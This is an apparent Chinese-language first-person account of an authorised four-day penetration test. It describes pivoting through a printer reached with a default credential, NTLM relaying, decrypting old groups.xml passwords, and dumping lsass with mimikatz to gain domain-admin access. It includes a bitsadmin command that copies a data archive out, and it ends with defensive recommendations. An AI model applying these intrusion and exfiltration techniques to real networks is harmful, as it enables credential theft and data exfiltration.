最近,我参与了一个安全测试项目,在这个项目中,测试方要求我们在不触发他们的SOC(Security Operations Center)的情况下,窃取企业的内部数据。在测试期间,我被要求只允许进入一间会议室。至于如何进行入侵测试,这就是我的事情了,不过一切的测试都被限制在这间会议室,这意味着我只能通过这个会议室里的电脑或其他设备来攻击了。
注:本次攻击测试进行了4天,所有IP地址和系统名称均经过修改,不反映真实的客户端地址和系统名称。测试期间,我在会议室安装了思科VOIP系统即网络电话,以允许我使用网线。
第1天的攻击测试情况
早上8:30我就开始了测试,主要目的是在不被企业的网络安全中心发现的情况下,窃取一些关键数据。当我将系统连接到网络时,我很快就得到了一个IP,不过这可能意味着没有任何NAC。所以我接下来要做的第一件事是开始使用nslookup(Nslookup是由微软发布用于对DNS服务器进行检测和排错的命令行工具)检查网络中的域名服务器。
在大多数情况下,DNS往往会提供关于服务器和系统的命名约定的大量信息。然而,在我的测试环境中,除了知道攻击对象的P地址为172.10.1.0,其余什么信息也没有。我甚至尝试使用PowerShell Active Directory模块来查找DC和DNS服务器,但是也无任何发现。这个结果非常令人非常震惊,因为按着我的经验,经过这一系列查找,总会有一个DNS服务器出现。因此我推断,测试对象进行了NAC设置,我很可能陷入了沙盒防护中。
注:思科网络准入控制 (NAC) 是一项由思科发起、多家厂商参加的计划,其宗旨是防止病毒和蠕虫等新兴黑客技术对企业安全造成危害。借助NAC,客户可以只允许合法的、值得信任的端点设备(例如PC、服务器、PDA)接入网络,而不允许其它设备接入。
以上就是我在中午12点之前进行的攻击测试,毫无收获,此时我仍然不知道攻击目标的网络环境是什么。我甚至不能ping(利用“ping”命令可以检查网络是否连通,可以很好地帮助我们分析和判定网络故障)任何系统,因为ICMP在防火墙就被阻止了。
icmp和ping的区别:
ping程序是用来探测主机到主机之间是否可通信,如果不能ping到某台主机,表明不能和这台主机建立连接。ping使用的是ICMP协议,它发送icmp回送请求消息给目的主机。ICMP协议规定:目的主机必须返回ICMP回送应答消息给源主机。如果源主机在一定时间内收到应答,则认为主机可达。
ICMP协议通过IP协议发送的,IP协议是一种无连接的,不可靠的数据包协议。在Unix/Linux,序列号从0开始计数,依次递增。而Windows ping程序的ICMP序列号是没有规律。
对这个攻击结果,我感到很沮丧,于是我从Impacket存储库中启动了Responder和NTLM中继,并自定义了有效载荷,藉此希望这可能会给我带来一些攻击信息。但令人惊讶的是,我没有得到任何线索。我的耐心在第一天测试结束时就这样被耗尽了,于是我开始通过在笔记本电脑上启动Network Discovery来搜索SMB共享。
第2天的攻击测试情况
由于第一天的测试情况很糟糕,我晚上回家做了充分的准备,以为第二天的测试做好准备。由于我还没有实现对目标网络的基本识别,于是我决定采用在极端隐身模式下使用Nmap的老方法。nmap是一个网络连接端扫描软件,用来扫描网上电脑开放的网络连接端。确定哪些服务运行在哪些连接端,并且推断计算机运行哪个操作系统。虽然利用这个极端方法可能会花一两天时间,可我也不担心。我从172.10.1.0-172.10.4.0的网络范围内的随机IP上开始对端口445进行单独扫描,到下午12点30分,扫描完成,我在该网络中只发现了3个系统(全部是unix)。
说实话,这个结果很令人吃惊。在对一些选定的公共端口执行缓慢的服务扫描后,我意识到端口8443和8666处于非常活跃的状态。通过检查,我发现这些是Xerox C60-C70设备(一种打印机和复印机的混合办公设备)。但在访问这些端口时,我发现它们却用的是web服务器,并提供了一个要登录门户。利用我在OSCP(渗透测试认证)中学到的知识,我在网上上搜索EFI Fiery Server的默认密码,发现默认凭证是admin: fier. 1。非常幸运的是,该凭证可用,我获得了一个具有管理权限的Web门户。
我发现这些都是基于PHP的,门户(3.0版)已经过时了,这意味着这个门户易受LFI(Local File Include,本地文件包含)攻击,但目前我还无法在该门户执行任何文件。通过进一步列举,我发现可以通过门户本身启用FTP、电子邮件和SSH服务器。另外我还通过我的个人FTP启用了所有打印机扫描的备份,由于打印机在默认情况下没有任何安全配置,这意味着如果有人扫描任何机密文件,都会被我获取其中的内容。
我尝试了PRET (一个打印机开发工具包),以期望有进一步的利用,但没有发现任何东西。于是我试着插上打印机,进入ssh,却发现它有两个不同的网络接口。这意味着有两种不同的网络,其中一个是隐藏在我的网络中,只能通过打印机访问。根据我的经验,我快速设置了portforward(portforward指的是包转发机制,其本质是防火墙的配置策略)并配置了proxychains,以找到DC和DNS服务器,从而启动响应程序并等待一些系统出现。
果不其然我得到了大量的NetNTLMv2哈希,但由于我在此环境中不能使用crackmapexec(CrackMapExec,简称CME,是一款后渗透利用工具,可帮助自动化大型活动目录(AD)网络安全评估任务)执行任何操作,因为SMB签名在所有系统上都是启用的。同时,我也开始使用GTX1050ti显卡和Hashcat(一个HASH暴力破解工具)在我的系统上破解Net-NTLMv2哈希,但是什么也没有找到。此时,我的密码列表已经用完了。然后我开始再次搜索SMB共享,因为我现在已经知道DC,并且找到了SYSVOL (LOGONSERVER)目录。
根据过往的步骤,现在我要做的第一件事是导航到SYSVOL目录并开始搜索groups.xml文件。果不其然,我找到了两个文件,一个不包含任何密码(目前已经修改)和另一个旧的groups.xml。它最后是在2011年创建和修改的,并保存在不同的文件夹中,所有其他未使用的旧脚本都保存在这些文件夹中。我曾试着使用gp3finder.exe解密旧groups.xml的密码,并尝试使用本地管理员的groups.xml密码登录到远程系统,但都无法做到。不过我相信,我一定可以从旧的groups.xml文件中得到点什么。
这时,我又返回到运行responder和ntlmrelay的Linux设备上,却发现我已经使用了专门绕过赛门铁克而设计的自定义载荷访问了其中一个系统。
既然绕过了安全防护,现在我要做的就是开始搜索目标用户,并确认是否能够升级我的权限。此时,我发现了一个运行空格而没有双引号的Foxit服务(PDF文档核心技术与应用服务)。可以利用它来做一些文章,因为我发现的目标用户也可以在C盘中进行编写。但后来我发现这个判断是错误的,因为我发现的目标用户只有权在C盘中创建文件夹而不能复制或写入文件。现在我要做的下一件事就是检查我的用户还有哪些其他权限,但不幸的是,我的用户不在RDP 协议组件中。
这么一番操作下来,已经是下午3点了,于是我果断地放弃了Bloodhound,并开始想办法迅速升级我的权限。以下是我发现的一个有趣的用户:
该用户是域管理员组中的一个MSSQL服务帐户,其密码一年多来没有更改过。根据我的经验,管理员通常不会更改服务帐户的凭证。他们的通常习惯是,如果密码不被攻击就不修改。因此,我只尝试了旧的组。因此,我尝试使用旧的groups.xml密码登录系统,幸运的是,这个用户启用了交互式登录。我得以在我的笔记本电脑登录到这个系统,进去该系统后,我现在就可以以域管理员的身份进行操作了,但在使用2012 Server的MSSQL DB System中,我可以在没有任何UAC的情况下启动CMD。
我不想使用服务帐户登录DC / AD,因为此时我还不想挑战SOC,以防出现任何意外。所以,我快速启动任务管理器,转储lsass.exe内存并通过RDP将其下载到我的系统。在lsass.exe转储中,我使用mimikatz离线提取密码哈希,并找到一个有趣的用户凭证—— Level3-INFRA-PUM(出于安全原因,名称已更改)。这个发现对以后的攻击异常重要,因为我可以在该域上对该用户执行LDAP查询,查询后,我发现这是Privilege User Management的一个Level 3 基础设施管理员帐户。在该用户帐户的说明中就提到了与此用户关联的计算机主机名,我使用域凭证登录到PUM的Web门户,发现门户管理并没有启用多因素身份验证。为此,我还对此进行了一些额外的研究,结果发现测试公司的安全中心进行了LAPS设置。
所以为了进行远程系统登录,我不得不从PUM获取密码,然后才能登录到本地管理系统。这就是我无法使用GP3密码以本地管理员身份登录的原因,因为他们已经停止使用groups.xml进行密码管理。我通过PUM访问了域管理员的密码并访问了域控制器,但发现这只是一个子域控制器。在两个不同国家或地区的另外两个域控制器与此系统相连,通过查询域控制器,我发现信任是双向的。于是我试图登录到子域控制器,但由于某种原因无法登录。以上就是第2天的收获,我至少对系统中的一个域控制器进行了攻击。
第3天的攻击测试情况
按着第二天的计划,我原以为今天就应该成功窃取测试公司的核心数据,但在检查组策略时,我意识到安全中心的人员已经禁用了除“IT支持”和“域管理员”组之外的所有用户的RDP。所以目前远程通信的唯一方式是Team Viewer(TeamViewer是一个能在任何防火墙和NAT代理的后台用于远程控制的应用程序,桌面共享和文件传输的简单且快速的解决方案),我显然不会很快接触到它。为此我在DC上使用了来自Sysinternals的Sharenum来检查所有可能连接的共享驱动器,并在目录中找到了大量的SMB共享。其中就有很多敏感信息,包括会计部门的银行凭证,于是我决定要获取这些数据了。我使用BITSadmin将所有副本下载到打印机,具体命令如下:
bitsadmin.exe /transfer upjob /upload /priority normal http://192.168.x.x/data.zip D:\temp\data.zip
然后通过WinSCP将其下载到我的系统。
如果我能够理解组织的AD结构的内部工作原理,那就更好了,因为我想使用ADExplorer (Sysinternals的另一个工具) 创建了一个计划任务,以便我下班之前,让整个Active Directory处于持续活动状态,以创建整个活动目录的快照。
第4天的攻击测试情况
通过查看AD快照,我很高兴看到在隐藏的共享驱动器中创建了一个400MB的文件,我后来将其下载到我的系统中。至此,我就可以访问所有组策略以及整个域中的所有对象,如果我需要一些数据,我完全可以离线查询这些对象。不过,我还是决定更深入地检查LAPS密码,以为帐户描述中提到的不同域名的域用户找到对应的密码。通过调查,我发现这个用户没有在整个组织的任何地方登录过。通过检查BloodHound导出的相关信息,我可以再次确认,这个用户从未在任何地方登录过。这就很有趣了,因为所有其他域控制器管理员都至少在一处或多处登录过。然后我尝试使用这个域控制器管理员的creds登录到其他父域,以便我访问它的父域控制器。
于是我向公司的安全中心提出请求,能否检查这些父域控制器,得到的回答是:“这些域控制器超出了检测范围,检测可以结束了。”
总结
1.永远不要忽视你在评估中发现的哪怕是最细微的信息,在你不知道这些信息有多大的作用时,请保持对它们的关注。
2.经常给打印机使用的软件进行升级,并确保它们的安全。因为它们是整个网络的一部分,与网络中的任何其他设备一样重要。
3.切勿将服务帐户添加到域管理员组中;
4.为杀毒软件设置应用白名单;
5.切勿将旧密码配置文件存储在域中的任何位置,对于攻击者来说,只需搜索creds 并升级它们的权限,就可以得到这些内容;
6.切记,所有的设备在使用后,请将默认密码进行更改。